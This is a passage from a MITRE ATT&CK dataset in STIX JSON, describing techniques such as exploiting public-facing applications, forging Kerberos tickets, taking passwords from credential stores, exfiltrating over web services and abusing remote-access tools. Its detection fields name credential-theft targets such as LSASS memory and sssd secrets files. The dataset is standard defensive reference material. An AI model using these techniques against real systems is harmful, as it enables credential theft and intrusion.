Metadata"],"type":"attack-pattern","id":"attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1195","external_id":"T1195"},{"source_name":"Avast CCleaner3 2018","description":"Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.","url":"https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities"},{"source_name":"Command Five SK 2011","description":"Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018.","url":"https://www.commandfive.com/papers/C5_APT_SKHack.pdf"},{"source_name":"IBM Storwize","description":"IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019.","url":"https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E"},{"source_name":"Symantec Elderwood Sept 2012","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf"},{"source_name":"Schneider Electric USB Malware","description":"Schneider Electric. (2018, August 24). Security Notification – USB Removable Media Provided With Conext Combox and Conext Battery Monitor. Retrieved May 28, 2019.","url":"https://www.se.com/us/en/download/document/SESN-2018-236-01/"},{"source_name":"Trendmicro NPM Compromise","description":"Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.","url":"https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets"},{"source_name":"Microsoft Dofoil 2018","description":"Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-24T14:33:53.433Z","name":"Exploit Public-Facing Application","description":"Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.\n\nExploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005)), exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nAdversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_contributors":["Yossi Weizman, Azure Defender Research Team","Praetorian"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","IaaS","Network","Linux","macOS","Containers"],"x_mitre_version":"2.6","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Application Log: Application Log Content"],"type":"attack-pattern","id":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1190","external_id":"T1190"},{"source_name":"CWE top 25","description":"Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019.","url":"https://cwe.mitre.org/top25/index.html"},{"source_name":"CIS Multiple SMB Vulnerabilities","description":"CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.","url":"https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/"},{"source_name":"Wired Russia Cyberwar","description":"Greenberg, A. (2022, November 10). Russia’s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023.","url":"https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/"},{"source_name":"Mandiant Fortinet Zero Day","description":"Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023.","url":"https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"},{"source_name":"NVD CVE-2016-6662","description":"National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-6662"},{"source_name":"NVD CVE-2014-7169","description":"National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-7169"},{"source_name":"Cisco Blog Legacy Device Attacks","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"},{"source_name":"OWASP Top 10","description":"OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.","url":"https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project"},{"source_name":"US-CERT TA18-106A Network Infrastructure Devices 2018","description":"US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/TA18-106A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-17T19:49:11.455Z","name":"Steal or Forge Kerberos Tickets","description":"Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Tim (Wadhwa-)Brown","Cody Thomas, SpecterOps"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\n\nMonitor for unusual processes accessing secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_version":"1.6","x_mitre_data_sources":["Command: Command Execution","Logon Session: Logon Session Metadata","Active Directory: Active Directory Credential Request","File: File Access"],"x_mitre_system_requirements":["Kerberos authentication enabled"],"type":"attack-pattern","id":"attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a","created":"2020-02-11T19:12:46.830Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1558","external_id":"T1558"},{"source_name":"CERT-EU Golden Ticket Protection","description":"Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.","url":"https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"},{"source_name":"Microsoft Detecting Kerberoasting Feb 2018","description":"Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.","url":"https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/"},{"source_name":"Medium Detecting Attempts to Steal Passwords from Memory","description":"French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.","url":"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"},{"source_name":"Stealthbits Detect PtT 2019","description":"Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.","url":"https://blog.stealthbits.com/detect-pass-the-ticket-attacks"},{"source_name":"AdSecurity Cracking Kerberos Dec 2015","description":"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","url":"https://adsecurity.org/?p=2293"},{"source_name":"ADSecurity Detecting Forged Tickets","description":"Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.","url":"https://adsecurity.org/?p=1515"},{"source_name":"Microsoft Kerberos Golden Ticket","description":"Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.","url":"https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285"},{"source_name":"Microsoft Klist","description":"Microsoft. (2021, March 3). klist. Retrieved October 14, 2021.","url":"https://docs.microsoft.com/windows-server/administration/windows-commands/klist"},{"source_name":"ADSecurity Kerberos Ring Decoder","description":"Sean Metcalf. (2014, September 12). Kerberos, Active Directory’s Secret Decoder Ring. Retrieved February 27, 2020.","url":"https://adsecurity.org/?p=227"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T14:57:46.850Z","name":"Credentials from Password Stores","description":"Adversaries may search for common password storage locations to obtain user credentials.(Citation: F-Secure The Dukes) Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","IaaS"],"x_mitre_version":"1.2","x_mitre_data_sources":["File: File Access","Command: Command Execution","Process: Process Access","Cloud Service: Cloud Service Enumeration","Process: Process Creation","Process: OS API Execution"],"type":"attack-pattern","id":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","created":"2020-02-11T18:48:28.456Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1555","external_id":"T1555"},{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:57:40.951Z","name":"Exfiltration Over Web Service","description":"Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.\n\nWeb service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_contributors":["William Cain"],"x_mitre_deprecated":false,"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","SaaS","Office Suite"],"x_mitre_version":"1.4","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation","Command: Command Execution","Network Traffic: Network Traffic Flow","File: File Access","Application Log: Application Log Content"],"type":"attack-pattern","id":"attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807","created":"2020-03-09T12:51:45.570Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1567","external_id":"T1567"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-12T23:52:30.489Z","name":"Remote Access Software","description":"An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)\n\nRemote access software may be installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary-controlled system.\n \nAdversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.\n\nInstallation of many remote access software may also include persistence (e.g., the software's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome’s Remote Desktop).(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_contributors":["Matt Kelly, @breakersall","Zachary Stanford, @svch0st","Dray Agha, @Purp1eW0lf, Huntress Labs"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\n\n[Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_version":"2.3","x_mitre_data_sources":["Process: Process Creation","Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation"],"type":"attack-pattern","id":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1219","external_id":"T1219"},{"source_name":"CrowdStrike 2015 Global Threat Report","description":"CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf"},{"source_name":"CrySyS Blog TeamSpy","description":"CrySyS Lab. (2013, March 20). TeamSpy – Obshie manevri. Ispolzovat’ tolko s razreshenija S-a. Retrieved April 11, 2018.","url":"https://blog.crysys.hu/2013/03/teamspy/"},{"source_name":"Google Chrome Remote Desktop","description":"Google. (n.d.). Retrieved March 14, 2024.","url":"https://support.google.com/chrome/answer/1649523"},{"source_name":"Chrome Remote Desktop","description":"Huntress. (n.d.). Retrieved March 14, 2024.","url":"https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"},{"source_name":"Symantec Living off the Land","description":"Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018.","url":"https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T15:26:00.047Z","name":"Domains","description":"Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing)\n\nDifferent URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique)\n\nAdversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)\n\nIn addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor’s choosing.(Citation: Invictus IR DangerDev 2024)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_contributors":["Wes Hurd","Vinayak Wadhwa, Lucideus","Deloitte Threat Library Team","Oleg Kolesnikov, Securonix","Menachem Goldstein","Nikola Kovac"],"x_mitre_deprecated":false,"x_mitre_detection":"Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.4","x_mitre_data_sources":["Domain Name: Passive DNS","Domain Name: Domain Registration","Domain Name: Active DNS"],"type":"attack-pattern","id":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","created":"2020-09-30T17:09:31.878Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1583/001","external_id":"T1583.001"},{"source_name":"URI Unique","description":"Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.","url":"https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF"},{"source_name":"PaypalScam","description":"Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017.","url":"https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/"},{"source_name":"CISA IDN ST05-016","description":"CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.","url":"https://us-cert.cisa.gov/ncas/tips/ST05-016"},{"source_name":"CISA MSS Sep 2020","description":"CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October 1, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-258a"},{"source_name":"bypass_webproxy_filtering","description":"Fehrman, B. (2017, April 13). How to Bypass Web-Proxy Filtering. Retrieved September 20, 2019.","url":"https://www.blackhillsinfosec.com/bypass-web-proxy-filtering/"},{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"},{"source_name":"Invictus IR DangerDev 2024","description":"Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.","url":"https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me"},{"source_name":"Domain_Steal_CC","description":"Krebs, B. (2018, November 13). That Domain You Forgot to Renew? Yeah, it’s Now Stealing Credit Cards. Retrieved September 20, 2019.","url":"https://krebsonsecurity.com/2018/11/that-domain-you-forgot-to-renew-yeah-its-now-stealing-credit-cards/"},{"source_name":"tt_obliqueRAT","description":"Malhotra, A., McKay, K. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal . Retrieved July 29, 2022.","url":"https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html"},{"source_name":"tt_httrack_fake_domains","description":"Malhotra, A., Thattil, J. et al. (2022, March 29). Transparent Tribe campaign uses new bespoke malware to target Indian government officials . Retrieved September 6, 2022.","url":"https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"},{"source_name":"Categorisation_not_boundary","description":"MDSec Research. (2017, July). Categorisation is not a Security Boundary. Retrieved September 20, 2019.","url":"https://www.mdsec.co.uk/2017/07/categorisation-is-not-a-security-boundary/"},{"source_name":"URI","description":"Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024.","url":"https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits"},{"source_name":"Redirectors_Domain_Fronting","description":"Mudge, R. (2017, February 6). High-reputation Redirectors and Domain Fronting. Retrieved July 11, 2022.","url":"https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/"},{"source_name":"URI Use","description":"Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024.","url":"https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf"},{"source_name":"iOS URL Scheme","description":"Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024.","url":"https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html"},{"source_name":"lazgroup_idn_phishing","description":"RISKIQ. (2017, December 20). Mining Insights: Infrastructure Analysis of Lazarus Group Cyber Attacks on the Cryptocurrency Industry. Retrieved July 29, 2022.","url":"https://web.archive.org/web/20171223000420/https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/"},{"source_name":"httrack_unhcr","description":"RISKIQ. (2022, March 15). RiskIQ Threat Intelligence Roundup: Campaigns Targeting Ukraine and Global Malware Infrastructure. Retrieved July 29, 2022.","url":"https://web.archive.org/web/20220527112908/https://www.riskiq.com/blog/labs/ukraine-malware-infrastructure/"},{"source_name":"ThreatConnect Infrastructure Dec 2020","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.","url":"https://threatconnect.com/blog/infrastructure-research-hunting/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6","type":"attack-pattern","created":"2020-02-20T21:08:52.529Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1560.002","url":"https://attack.mitre.org/techniques/T1560/002"},{"source_name":"PyPI RAR","url":"https://pypi.org/project/rarfile/","description":"mkz. (2020). rarfile 3.1. Retrieved February 20, 2020."},{"source_name":"libzip","url":"https://libzip.org/","description":"D. Baron, T. Klausner. (2020). libzip. Retrieved February 20, 2020."},{"source_name":"Zlib Github","url":"https://github.com/madler/zlib","description":"madler. (2017). zlib. Retrieved February 20, 2020."},{"url":"https://en.wikipedia.org/wiki/List_of_file_signatures","description":"Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.","source_name":"Wikipedia File Header Signatures"}],"modified":"2020-03-29T18:27:30.891Z","name":"Archive via Library","description":"An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.\n\nSome archival libraries are preinstalled on systems, such as 